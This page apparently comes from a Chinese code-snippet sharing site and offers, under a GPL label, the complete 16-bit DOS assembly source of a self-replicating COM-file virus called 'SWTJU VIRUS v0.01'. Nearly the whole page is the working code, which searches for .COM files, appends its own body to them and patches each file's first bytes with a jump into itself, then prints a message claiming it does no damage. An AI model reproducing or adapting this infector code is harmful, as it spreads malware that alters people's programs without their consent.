浏览 | 提交新的代码片段 | 创建代码包

virus sample
类型: Sample Code (HOWTO)	类别: Other
许可证: GNU General Public License	语言: Other Language
描述: virus

该代码片段的版本系列:

片段ID	下载版本	提交时间	提交人	删除
14	0.0.0	2001-11-10 01:59	geogelee

点击"下载版本"来下载该代码片段.

最新版本的代码片段: 0.0.0

 code segment 

   ASSUME CS:CODE ,DS:CODE 

  VIRUS:MOV AX,CS 

        MOV DS,AX 

        MOV ES,AX 

        DB  0BBH 

  GROW  DW  0H 

        LEA SI,BUFFER0[BX] 

        MOV DI,100H 

        MOV CX,3 

        REP MOVSB 

        MOV AH,1AH 

        LEA DX,DIR_BUFF[BX] 

        INT 21H 

        MOV AH,4EH 

        MOV CX,20H 

        LEA DX,SCH_STR[BX] 

        INT 21H 

        JC  FAIL0 

        LEA DI,DIR_BUFF[BX] 

        MOV CX,8 

        INC DI 

        MOV AL,3FH 

        REP STOSB 

        MOV AH,4FH 

        INT 21H 

  FAIL0:JC  FAIL1 

        LEA DI,SCH_STR[BX] 

        LEA SI,FILE_NAME[BX] 

        CLD 

        MOV CX,13 

        REP MOVSB 

        MOV AH,3DH 

        MOV AL,2 

        LEA DX,FILE_NAME[BX] 

        INT 21H 

  FAIL1:JNC FAIL3 

        JMP FAIL2 

  FAIL3:MOV FHANDLE[BX],AX 

        MOV AH,42H 

        MOV AL,0 

        PUSH BX 

        MOV BX,FHANDLE[BX] 

        MOV CX,0 

        MOV DX,0 

        INT 21H 

        POP BX 

        MOV AH,3FH 

        PUSH BX 

        LEA DX,BUFFER0[BX] 

        MOV BX,FHANDLE[BX] 

        MOV CX,3 

        INT 21H 

        POP BX 

        MOV AH,42H 

        MOV AL,2 

        PUSH BX 

        MOV BX,FHANDLE[BX] 

        MOV CX,0 

        MOV DX,0 

        INT 21H 

        POP BX 

        SUB AX,3 

        MOV BUFFER2[BX],AX 

        ADD AX,103H 

        MOV GROW[BX],AX 

        MOV DX,FILE_LENGTH[BX] 

        ADD AX,DX 

        JC FAIL2 

        MOV AH,BUFFER0[BX] 

        CMP AH,0E9H 

        JNZ WRITE 

        MOV AX,BUFFER2[BX] 

        SUB AX,BUFFER3[BX] 

        CMP AX,FILE_LENGTH[BX] 

        JZ CLOSE 

  WRITE:MOV AH,40H 

        MOV DX,BX 

        PUSH BX 

        MOV DX,BX 

        MOV CX,FILE_LENGTH[BX] 

        MOV BX,FHANDLE[BX] 

        INT 21H 

        POP BX 

        MOV AH,42H 

        MOV AL,0 

        PUSH BX 

        MOV BX,FHANDLE[BX] 

        MOV CX,0 

        MOV DX,0 

        INT 21H 

        POP BX 

        MOV AH,40H 

        LEA DX,BUFFER1[BX] 

        PUSH BX 

        MOV BX,FHANDLE[BX] 

        MOV CX,3 

        INT 21H 

        POP BX 

 CLOSE: MOV AH,3EH 

        PUSH BX 

        MOV BX,FHANDLE[BX] 

        INT 21H 

        POP BX 

        MOV AH,2CH 

        INT 21H 

        AND AH,02H 

        ;JZ FAIL2 

        CALL SHOW 

        PUSH CS 

        MOV AX,100H 

        PUSH AX 

        XOR AX,AX 

        RETF 

        ;JMP SHORT 100 

 FAIL2: LEA AX,BACK[BX] 

        SUB AX,0FEH 

        NOT AX 

        INC AX 

        MOV BACK[BX],AX 

        MOV AH,4CH 

        INT 21H 

        DB  0E9H 

   BACK DW 0FFEBH 

   SHOW:MOV AX,2 

        INT 10H 

        MOV AH,9 

        LEA DX,STRING[BX] 

        INT 21H 

        RET 

 STRING DB 0AH,0AH,0AH,0DH 

        DB 'SWTJU VIRUS v0.01 ' 

        DB '(c)CopyRight 97.7 By Computer Application 94' 

        DB 0ah,0dh 

        DB ':)I will not damage your program!:)$' 

 SCH_STR        DB 'VIRUS100.COM',0 

 DIR_BUFF       DB 30 DUP(?) 

 FILE_NAME      DB 13 DUP(?) 



 BUFFER0        DB 0CDH 

 BUFFER3        DW 0020H 

 BUFFER1        DB 0E9H 

 BUFFER2        DW 0 

 FILENAME       DB 13 DUP(?) 

 FHANDLE        DW 0 

 FILE_LENGTH    DW $+2 

  

     CODE ENDS 

     END VIRUS 

  




		

提交新版本

如果您修改了一个代码片段并且觉得很应该让别人共享,您可以把这作为这个代码片段的最新版本提交上来.